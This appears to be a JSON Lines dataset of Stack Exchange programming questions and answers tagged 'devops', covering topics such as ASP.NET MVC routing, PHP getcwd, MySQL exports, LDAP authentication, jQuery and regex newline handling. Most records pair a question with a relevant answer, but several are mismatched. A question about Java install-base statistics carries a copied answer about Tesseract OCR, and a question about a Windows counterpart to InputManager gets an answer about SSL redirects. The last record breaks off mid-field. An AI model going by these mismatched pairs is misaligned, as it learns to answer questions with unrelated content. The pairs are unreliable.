{"id": "hf_002169fb1ee4", "question": "<p>I'd like to ignore multiple wildcard routes.  With asp.net mvc preview 4, they ship with:</p>\n\n<pre><code>RouteTable.Routes.IgnoreRoute(\"{resource}.axd/{*pathInfo}\");\n</code></pre>\n\n<p>I'd also like to add something like:</p>\n\n<pre><code>RouteTable.Routes.IgnoreRoute(\"Content/{*pathInfo}\");\n</code></pre>\n\n<p>but that seems to break some of the helpers that generate urls in my program.  Thoughts?</p>\n", "question_body": "", "answer": "This can be quite tricky.\nWhen attempting to figure out how to map route data into a route, the system currently searches top-down until it finds something where all the required information is provided, and then stuffs everything else into query parameters.\nSince the required information for the route \"Content/{*pathInfo}\" is entirely satisfied always (no required data at all in this route), and it's near the top of the route list, then all your attempts to map to unnamed routes will match this pattern, and all your URLs will be based on this (\"Content?action=foo&controller=bar\")\nUnfortunately, there's no way around this with action routes. If you use named routes (f.e., choosing Html.RouteLink instead of Html.ActionLink), then you can specify the name of the route to match. It's less convenient, but more precise.\nIMO, complex routes make the action-routing system basically fall over. In applications where I have something other than the default routes, I almost always end up reverting to named-route based URL generation to ensure I'm always getting the right route.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.525747"}
{"id": "hf_256d2883e919", "question": "<p>I'm doing some PHP stuff on an Ubuntu server.</p>\n\n<p>The path I'm working in is <strong>/mnt/dev-windows-data/Staging/mbiek/test_list</strong> but the PHP call <code>getcwd()</code> is returning <strong>/mnt/dev-windows/Staging/mbiek/test_list</strong> (notice how it's dev-windows instead of dev-windows-data).</p>\n\n<p>There aren't any symbolic links anywhere. </p>\n\n<p>Are there any other causes for <code>getcwd()</code> returning a different path from a local <code>pwd</code> call?</p>\n\n<p><strong><em>Edit</em></strong>  </p>\n\n<p>I figured it out.  The <strong>DOCUMENT_ROOT</strong> in PHP is set to <strong>/mnt/dev-windows</strong> which throws everything off.</p>\n", "question_body": "", "answer": "Which file are you calling the getcwd() in and is that file is included into the one you are running (e.g. running index.php, including startup.php which contains gwtcwd()).\nIs the file you are running in /dev-windows/ or /dev-windows-data/? It works on the file you are actually running.\nHere's an example of my current project:\nindex.php\n```\n```\n<?php\n    require_once('./includes/construct.php');\n    //snip\n?>\n```\n```\nincludes/construct.php\n```\n```\n<?php\n    //snip\n    (!defined('DIR')) ? define('DIR', getcwd()) : NULL;\n\n    require_once(DIR . '/includes/functions.php');\n    //snip\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.555532"}
{"id": "hf_687ab0b7b705", "question": "<p>How do you OCR an tiff file using Tesseract's interface in c#?<br>\nCurrently I only know how to do it using the executable.</p>\n", "question_body": "", "answer": "The source code seemed to be geared for an executable, you might need to rewire stuffs a bit so it would build as a DLL instead. I don't have much experience with Visual C++ but I think it shouldn't be too hard with some research. My guess is that someone might have had made a library version already, you should try Google.\nOnce you have tesseract-ocr code in a DLL file, you can then import the file into your C# project via Visual Studio and have it create wrapper classes and do all the marshaling stuffs for you. If you can't import then\nDllImport\nwill let you call the functions in the DLL from C# code.\nThen you can take a look at the original executable to find clues on what functions to call to properly OCR a tiff image.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.623161"}
{"id": "hf_df2e4b8bc225", "question": "<p>Is there an online resource somewhere that maintains statistics on the install-base of Java including JRE version information? If not, is there any recent report that has some numbers?</p>\n\n<p>I'm particularly interested in Windows users, but all other OS's are welcome too.</p>\n", "question_body": "", "answer": "The source code seemed to be geared for an executable, you might need to rewire stuffs a bit so it would build as a DLL instead. I don't have much experience with Visual C++ but I think it shouldn't be too hard with some research. My guess is that someone might have had made a library version already, you should try Google.\nOnce you have tesseract-ocr code in a DLL file, you can then import the file into your C# project via Visual Studio and have it create wrapper classes and do all the marshaling stuffs for you. If you can't import then\nDllImport\nwill let you call the functions in the DLL from C# code.\nThen you can take a look at the original executable to find clues on what functions to call to properly OCR a tiff image.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.646701"}
{"id": "hf_9dd33a644bff", "question": "<p>I'm currently using VS2005 Profesional and .NET 2.0, and since our project is rather large (25 projects in the solution), I'd like to try VS 2008, since its theoretically faster with larger projects. </p>\n\n<p>Before doing such thing, i'd like to know if what I've read is true: can I use VS2008 in \".net 2.0\" mode? I don't want my customers to install .net 3.0 or .3.5, I just want to install VS2008, open my solution and start working from there. </p>\n\n<p>Is this possible?</p>\n\n<p>P.D.: the solution is a c# Window Forms project.</p>\n", "question_body": "", "answer": "yes, vs2008 can \"\ntarget\n\" a framework, but i think by default, if converting from vs2005 - vs2008 it just keeps it at framework 2.0", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.746712"}
{"id": "hf_4f7234106118", "question": "<p>I frequently work with multiple instances of Visual Studio, often working on different branches of the same solution.</p>\n\n<p><a href=\"https://en.wikipedia.org/wiki/Microsoft_Visual_C%2B%2B#Strictly_32-bit_versions\" rel=\"noreferrer\">Visual C++ 6.0</a> used to display the full path of the current source file in its title bar, but Visual&nbsp;Studio 2005 doesn't appear to do this. This makes it slightly more awkward than it should be to work out which branch of the solution I'm currently looking at (the quickest way I know of is to hover over a tab so you get the source file's path as a tooltip).</p>\n\n<p>Is there a way to get the full solution or file path into the title bar, or at least somewhere that's always visible, so I can quickly tell which branch is loaded into each instance?</p>\n", "question_body": "", "answer": "There is not a native way to do it, but you can achieve it with a macro. The details are described here in full:\nHow To Show Full File Path (or Anything Else) in VS 2005 Title Bar\nYou just have to add a little Visual Basic macro to the EvironmentEvents macro section and restart Visual Studio.\nNote: The path will not show up when you first load Visual Studio, but it will whenever you change which file you are viewing. There is probably a way to fix this, but it doesn't seem like a big deal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.820405"}
{"id": "hf_04c11643e0ba", "question": "<p>Is there a way to specify a child's initial window position in Qt?</p>\n\n<p>I have an application that runs on Linux and Windows and it looks like the default behavior of Qt lets the Window Manager determine the placement of the child windows.   </p>\n\n<p>On Windows, this is in the center of the screen the parent is on which seems reasonable.   </p>\n\n<p>On Linux, in GNOME (metacity) it is always in the upper left-hand corner which is annoying.  I can't find any window manager preferences for metacity that allow me to control window placement so I would like to override that behavior.</p>\n", "question_body": "", "answer": "Qt Widget Geometry\nCall the move(x, y) method on the child window before show(). The default values for x and y are 0 so that's why it appears in the upper left-hand corner.\nYou can also use the position of the parent window to compute a relative position for the child.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.845836"}
{"id": "hf_c2afd3b41b4e", "question": "<p>How could i implement Type-Safe Enumerations in Delphi in a COM scenario ? Basically, i'd like to replace a set of primitive constants of a enumeration with a set of static final object references encapsulated in a class ? . \nIn Java, we can do something like:</p>\n\n<pre><code>public final class Enum\n{\n    public static final Enum ENUMITEM1 = new Enum ();\n    public static final Enum ENUMITEM2 = new Enum ();\n    //...\n    private Enum () {}\n} \n</code></pre>\n\n<p>and make comparisons using the customized enumeration type:</p>\n\n<pre><code>if (anObject != Enum.ENUMITEM1) ...\n</code></pre>\n\n<p>I am currently using the old Delphi 5 and i would like to declare some enums parameters on the interfaces, not allowing that client objects to pass integers (or long) types in the place of the required enumeration type. \nDo you have a better way of implementing enums other than using the native delphi enums  ? </p>\n", "question_body": "", "answer": "What is wrong with native Delphi enums? They are type safe.\n```\n```\ntype\n  TMyEnum = (Item1, Item2, Item3);\n\nif MyEnum <> Item1 then...\n```\n```\nSince Delphi 2005 you can have consts in a class, but Delphi 5 can not.\n```\n```\ntype\n  TMyEnum = sealed class\n  public\n    const Item1 = 0;\n    const Item2 = 1;\n    const Item3 = 2;\n  end;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.869952"}
{"id": "hf_a5624efbec8f", "question": "<p>This error just started popping up all over our site.</p>\n\n<p><strong><em>Permission denied to call method to Location.toString</em></strong></p>\n\n<p>I'm seeing google posts that suggest that this is related to flash and our crossdomain.xml.  What caused this to occur and how do you fix?</p>\n", "question_body": "", "answer": "Are you using javascript to communicate between frames/iframes which point to different domains? This is not permitted by the JS \"same origin/domain\" security policy. Ie, if you have\n```\n```\n<iframe name=\"foo\" src=\"foo.com/script.js\">\n<iframe name=\"bar\" src=\"bar.com/script.js\">\n```\n```\nAnd the script on bar.com tries to access\n```\nwindow[\"foo\"].Location.toString\n```\n, you will get this (or similar) exceptions. Please also note that the same origin policy can also kick in if you have content from different subdomains.\nHere\nyou can find a short and to the point explanation of it with examples.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.905290"}
{"id": "hf_6220fd7ed1e3", "question": "<p>I have one field that I need to sum lets say named items\nHowever that field can be part of group a or b\nIn the end I need to have all of the items summed for group a and group b</p>\n\n<p>when I say grouped I mean there is a LEFT OUTER JOIN to another table the previous table has a type for the items and the one being joined has a group assigned for this item type</p>\n\n<p>Sorry guys Im a little new to sql I am going to try out what you have given me an get back to you</p>\n\n<p>Ok I feel like we are getting close just not yet allain's I can get them to separate but the issue I need to have both groups to sum on the same row which is difficult because I also have several LEFT OUTER JOIN's involved</p>\n\n<p>Tyler's looks like it might work too so I am trying to hash that out real fast</p>\n\n<p>Alain's seems to be the way to go but I have to tweek it a little more</p>\n", "question_body": "", "answer": "Maybe I'm not understanding the complexity of what you're asking but... shouldn't this do?\n```\n```\nSELECT groupname, SUM(value)\nFROM items\nWHERE groupname IN ('a', 'b')\nGROUP BY groupname\n```\n```\nAnd if you don't care which of a or b the item belongs to then this will do:\n```\n```\nSELECT SUM(value)\nFROM items\nWHERE groupname IN ('a', 'b')\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.942352"}
{"id": "hf_68015774fff8", "question": "<p>In Maven, dependencies are usually set up like this:</p>\n\n<pre class=\"lang-xml prettyprint-override\"><code>&lt;dependency&gt;\n  &lt;groupId&gt;wonderful-inc&lt;/groupId&gt;\n  &lt;artifactId&gt;dream-library&lt;/artifactId&gt;\n  &lt;version&gt;1.2.3&lt;/version&gt;\n&lt;/dependency&gt;\n</code></pre>\n\n<p>Now, if you are working with libraries that have frequent releases, constantly updating the &lt;version&gt; tag can be somewhat annoying. Is there any way to tell Maven to always use the latest available version (from the repository)? </p>\n", "question_body": "", "answer": "Are you possibly depending on development versions that obviously change a lot during development?\nInstead of incrementing the version of development releases, you could just use a snapshot version that you overwrite when necessary, which means you wouldn't have to change the version tag on every minor change. Something like 1.0-SNAPSHOT...\nBut maybe you are trying to achieve something else ;)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:10.989441"}
{"id": "hf_12b63a6073b3", "question": "<p>I am trying to be a \"good\" programmer and have unit tests for my ColdFusion application but haven't been able to find a code coverage tool that can tie into the test that I'm using. For those of you who do unit tests on your ColdFusion code, how have you approached this problem?</p>\n", "question_body": "", "answer": "Many\nhave\nasked\n, but to date there remains no ColdFusion code coverage tool.\nThe latest ColdFusion features .NET integration in addition to J2EE integration, so if you require code coverage metrics (ie, customer requirements) then (aside from choosing something other than ColdFusion) you might define what parts need such coverage and break them out into .NET or J2EE objects which you can profile with readily available tools.\nAlternately, you can do some analysis yourself - use a parser to insert\ncftrace\ntags after every control statement and then parse the results.\nLastly, ColdFusion does have some\nbasic stack trace\nability - I don't know if it goes deeper than that, but it's worth exploring to see what you can parse from that.\nI hope this helps!\n-Adam Davis", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.032523"}
{"id": "hf_86008279ccea", "question": "<p>I would like to know if I can open 2 different diagrams using MS Visio and each diagram have its own window. I've tried in several ways, but I always end up with 1 Visio window ...</p>\n\n<p>I'm using a triple monitor setup and I'd like to put one diagram to each side of my main monitor.</p>\n\n<p>[]'s</p>\n\n<p>André Casteliano</p>\n\n<p>PS: I'm using Visio 2007 here.</p>\n", "question_body": "", "answer": "Visio 2005 allows you to open visio multiple times - does this not work in 2007?  Try opening a visio document, and then starting another instance of visio from the Start-->Programs menu.\nIf not, read on...\nVisio is an MDI interface - you'll need to stretch the whole visio window across the two monitors in question, then choose the \"Window\" menu and select \"Tile\" after you've opened your two documents.\nAlternately, in the upper right hand corner just below the application minimize, restore and close buttons you'll find the document minimize, restore and close.  Choose restore, and you can manipulate the windows inside the main visio app.\nHope this helps!\n-Adam Davis", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.084662"}
{"id": "hf_dc5c55df1971", "question": "<p>I want to create a draggable and resizable window in JavaScript for cross browser use, but I want to try and avoid using a framework if I can.</p>\n\n<p>Has anyone got a link or some code that I can use?</p>\n", "question_body": "", "answer": "Avoiding a framework altogether will leave you with lots of code and a bunch of tedious browser-testing.\nIf you would consider a framework I'd suggest jQuery with the\njqDnR\nplugin. I think it will solve your problem or perhaps you could combine the functionality of the\njQuery draggables\nwith the\njQuery resizables", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.171268"}
{"id": "hf_3d01b4d4a597", "question": "<p>I've heard that unit testing is \"totally awesome\", \"really cool\" and \"all manner of good things\" but 70% or more of my files involve database access (some read and some write) and I'm not sure how to write a unit test for these files.</p>\n\n<p>I'm using PHP and Python but I think it's a question that applies to most/all languages that use database access.</p>\n", "question_body": "", "answer": "Ideally, your objects should be persistent ignorant. For instance, you should have a \"data access layer\", that you would make requests to, that would return objects. This way, you can leave that part out of your unit tests, or test them in isolation.\nIf your objects are tightly coupled to your data layer, it is difficult to do proper unit testing. The first part of unit test, is \"unit\". All units should be able to be tested in isolation.\nIn my C# projects, I use\n```\nNHibernate\n```\nwith a completely separate Data layer. My objects live in the core domain model and are accessed from my application layer. The application layer talks to both the data layer and the domain model layer.\nThe application layer is also sometimes called the \"Business Layer\".\nIf you are using PHP, create a specific set of classes\nONLY\nfor data access. Make sure your objects have no idea how they are persisted and wire up the two in your application classes.\nAnother option would be to use mocking/stubs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.196329"}
{"id": "hf_e61517605572", "question": "<p>I want to create a simple http proxy server that does some very basic processing on the http headers (i.e. if header x == y, do z).  The server may need to support hundreds of users.  I can write the server in C# (pretty easy) or c++ (much harder).  However, would a C# version have as good of performance as a C++ version?  If not, would the difference in performance be big enough that it would not make sense to write it in C#?</p>\n", "question_body": "", "answer": "The proxy server you describe would deal mostly with string data and I think its reasonable to implement in C#.  In your example,\n```\n```\nif header x == y, do z\n```\n```\nthe slowest part might actually be doing whatever 'z' is and you'll have to do that work regardless of the language.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.218826"}
{"id": "hf_157e3e624e27", "question": "<p>I want to build an ASP.NET MVC application with Boo instead of C#. If you know the steps to configure this type of project setup, I'd be interested to know what I need to do. </p>\n\n<p>The MVC project setup is no problem. What I'm trying to figure out how to configure the pages and project to switch to use the Boo language and compiler.</p>\n", "question_body": "", "answer": "So there are two levels of \"work with Boo\". One would be all the code (namely, the Controllers), and the other would be the views.\nFor the code, I assume Boo compiles to standard .NET assemblies, so simply properly following the naming conventions using by ASP.NET MVC should allow you to write Controllers. You will probably need to start with a C# or VB version of the MVC web application project template and port some of the boilerplate code over into Boo to get the solution entirely in Boo (I presume Boo supports Web Application projects?).\nThe other half is views. Someone will need to port the Brail view engine over to the ASP.NET MVC view engine system. This may already be done, but I don't know for sure. If it's not, then this is probably a significant amount of work to be done.\nProbably the best place to get answers to these kinds of questions is the\nMvcContrib community on CodePlex\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.242237"}
{"id": "hf_46c30dd8d918", "question": "<p>I have class method that returns a list of employees that I can iterate through.  What's the best way to return the list? Typically I just return an ArrayList. However, as I understand, interfaces are better suited for this type of action.  Which would be the best interface to use? Also, why is it better to return an interface, rather than the implementation (say ArrayList object)?  It just seems like a lot more work to me.</p>\n", "question_body": "", "answer": "Personally, I would use a\nList\n<Employee> for creating the list on the backend, and then use\nIList\nwhen you return.  When you use interfaces, it gives you the flexability to change the implementation without having to alter who's using your code.  If you wanted to stick with an ArrayList, that'd be a non-generic\nIList\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.280825"}
{"id": "hf_45b03b6063c2", "question": "<p>What are the ways to retrieve data submitted to the web server from a form in the client HTML in ASP.NET?</p>\n", "question_body": "", "answer": "In VB.NET\nFor POST requests:\n```\n```\nvalue = Request.Form(\"formElementID\")\n```\n```\nFor GET requests:\n```\n```\nvalue = Request.QueryString(\"formElementID\")\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.317202"}
{"id": "hf_2765ed1a8ef4", "question": "<p>How do I write the results from a mysql query to file?  I just need something quick.  Output can be CSV, XML, HTML, etc.</p>\n", "question_body": "", "answer": "```\n```\nSELECT a,b,a+b \n  FROM test_table\n  INTO OUTFILE '/tmp/result.txt'\n  FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '\"'\n  LINES TERMINATED BY '\\n'\n```\n```\n(the docs show INTO OUTFILE up in the SELECT .. portion which may work as well, but I've never tried it that way)\nhttp://dev.mysql.com/doc/refman/5.0/en/select.html\nINTO OUTFILE creates a file on the server; if you are on a client and want it there, do:\n```\n```\nmysql -u you -p -e \"SELECT ...\" >  file_name\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.414855"}
{"id": "hf_c0ea5877afee", "question": "<p>Given a username and a password for a domain user, what would be the best way to authenticate that user programatically?</p>\n", "question_body": "", "answer": "You can use some hacks to\nauthenticate\nonly.\n```\n```\nTry\n    Dim directoryEntry as New DirectoryEntry(\"LDAP://DomainController:389/dc=domain,dc=suffix\", \"username\", \"password\")\n    Dim temp as Object = directoryEntry.NativeObject\n    return true\nCatch\n    return false\nEnd Try\n```\n```\nIf the user is not valid, the directory entry NativeObject cannot be accessed and throws an exception.  While this isn't the most efficient way (exceptions are evil, blah blah blah), it's quick and painless.  This also has the super-cool advantage of working with all LDAP servers, not just AD.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.440329"}
{"id": "hf_f982c3652915", "question": "<p>Is there a pattern using Linq to dynamically create a filter?</p>\n\n<p>I have the need to create custom filtering on a list, in the past I would just dynamically create the SQL...it doesn't seem like this is possible with Linq.</p>\n", "question_body": "", "answer": "Check out the\nDynamic Linq Library\nfrom ScottGu's blog:\nFor example, below is a standard type-safe LINQ to SQL VB query that retrieves data from a Northwind database and displays it in a ASP.NET GridView control:\n```\n```\nDim Northwind As New NorthwindDataContext\nDim query = From q In Northwind.Products Where p.CategoryID = 2 And p.UnitPrice > 3 Order By p.SupplierID Select p\n\nGridview1.DataSource = query\nGridView1.DataBind()\n```\n```\nUsing the LINQ DynamicQuery library I could re-write the above query expression instead like so\n```\n```\nDim Northwind As New NorthwindDataContext\nDim query = Northwind.Products .where(\"CategoryID=2 And UnitPrice>3\") . OrderBy(\"SupplierId\")\nGridview1.DataSource = query\nGridView1.DataBind()\n```\n```\nNotice how the conditional-where clause and sort-orderby clause now take string expressions instead of code expressions.  Because they are late-bound strings I can dynamically construct them.  For example: I could provide UI to an end-user business analyst using my application that enables them to construct queries on their own (including arbitrary conditional clauses).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.479755"}
{"id": "hf_da849ca45fba", "question": "<p>If possible one that supports at least spell checking:</p>\n\n<ul>\n<li>C# string literals</li>\n<li>HTML content</li>\n<li>Comments</li>\n</ul>\n", "question_body": "", "answer": "FxCop ships with a spell check now\n- have you tried that?\nHere's a nice add-on\nfor Visual Studio 2005/2008 by Mikhail Arkhipov of MSFT.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.570469"}
{"id": "hf_b936ee494be3", "question": "<p>Is there anything similar on Windows what would achieve the same as the InputManager on OS X?</p>\n", "question_body": "", "answer": "Require SSL on the application\nIn a custom error page for the 403 redirect the browser to the incoming URL, changing http to https along the way.\nNote: Keep port 80 open for this - or there won't be a server to listen for requests to redirect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.620127"}
{"id": "hf_d9ff0496a820", "question": "<p>I like to use static functions in C++ as a way to categorize them, like C# does.</p>\n\n<pre><code>Console::WriteLine(\"hello\")\n</code></pre>\n\n<p>Is this good or bad? If the functions are used often I guess it doesn't matter, but if not do they put pressure on memory?</p>\n\n<p>What about <code>static const</code>?</p>\n", "question_body": "", "answer": "I'm all for using static\nfunctions\n. These just make sense especially when organized into modules (\n```\nstatic class\n```\nin C#).\nHowever,\nthe moment\nthose functions need some kind of external (non compile-time const) data, then that function should be made an instance method and encapsulated along with its data into a class.\nIn a nutshell: static functions ok, static data bad.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.667639"}
{"id": "hf_6b0d30f1fb7c", "question": "<p>What's the best way to allow a user to browse for a file in C#?</p>\n", "question_body": "", "answer": "```\n```\nusing (OpenFileDialog dlg = new OpenFileDialog())\n{\n    dlg.Title = \"Select a file\";\n    if (dlg.ShowDialog()== DialogResult.OK)\n    {\n        //do something with dlg.FileName  \n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.703530"}
{"id": "hf_39d07ae99cf1", "question": "<p>How can I check the existence of an element in jQuery?</p>\n\n<p>The current code that I have is this:</p>\n\n<pre><code>if ($(selector).length &gt; 0) {\n    // Do something\n}\n</code></pre>\n\n<p>Is there a more elegant way to approach this? Perhaps a plugin or a function?</p>\n", "question_body": "", "answer": "Yes!\n```\n```\njQuery.fn.exists = function(){ return this.length > 0; }\n\nif ($(selector).exists()) {\n    // Do something\n}\n```\n```\nThis is in response to:\nHerding Code podcast with Jeff Atwood", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.727854"}
{"id": "hf_06e2da24a13f", "question": "<p>How can I replace lone instances of \\n with \\r\\n (LF alone with CRLF) using a regular expression in C#?</p>\n<p>I know to do it using plan <code>String.Replace</code>, like:</p>\n<pre><code>myStr.Replace(&quot;\\n&quot;, &quot;\\r\\n&quot;);\nmyStr.Replace(&quot;\\r\\r\\n&quot;, &quot;\\r\\n&quot;);\n</code></pre>\n<p>However, this is inelegant, and would destroy any &quot;\\r+\\r\\n&quot; already in the text (although they are not likely to exist).</p>\n", "question_body": "", "answer": "Will this do?\n```\n```\n[^\\r]\\n\n```\n```\nBasically it matches a '\\n' that is preceded with a character that is not '\\r'.\nIf you want it to detect lines that start with just a single '\\n' as well, then try\n```\n```\n([^\\r]|$)\\n\n```\n```\nWhich says that it should match a '\\n' but only those that is the first character of a line or those that are\nnot\npreceded with '\\r'\nThere might be special cases to check since you're messing with the definition of lines itself the '$' might not work too well. But I think you should get the idea.\nEDIT:\ncredit @Kibbee Using look-ahead s is clearly better since it won't capture the matched preceding character and should help with any edge cases as well. So here's a better regex + the code becomes:\n```\n```\nmyStr = Regex.Replace(myStr, \"(?<!\\r)\\n\", \"\\r\\n\");\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.764379"}
{"id": "hf_ec3369e6cdb1", "question": "<p>I didn't see any similar questions asked on this topic, and I had to research this for something I'm working on right now. Thought I would post the answer for it in case anyone else had the same question.</p>\n", "question_body": "", "answer": "I found the answer here:\nhttp://blog.sqlauthority.com/2007/08/22/sql-server-t-sql-script-to-insert-carriage-return-and-new-line-feed-in-code/\nYou just concatenate the string and insert a\n```\nCHAR(13)\n```\nwhere you want your line break.\nExample:\n```\n```\nDECLARE @text NVARCHAR(100)\nSET @text = 'This is line 1.' + CHAR(13) + 'This is line 2.'\nSELECT @text\n```\n```\nThis prints out the following:\nThis is line 1.\nThis is line 2.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:11.788910"}
{"id": "hf_a3319c316bbe", "question": "<p>Looking for a way to display a PDF in Flex. I'm sure there are several ways. Looking for the easiest to maintain / integrate / most user friendly. I'm guessing it's possible to display a browser window in the app and render it, but if it goes off of IE / FireFox it's not acceptable for this project.</p>\n\n<p>Thanks...</p>\n", "question_body": "", "answer": "Check out Share on\nAcrobat.com\n, there you can upload PDFs and make them embedable Flash files (sort of like YouTube for documents). Should be possible to load those into Flex. Not an ideal solution, but unfortunately you need to convert the PDF to an SWF somehow to be able to load it into a Flex application. I don't know of any good tools that do this. If someone else knows please share.\nIf you target AIR you can load a PDF into a HTML view, but that doesn't work when running in the browser (the HTML component is only available in AIR).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": 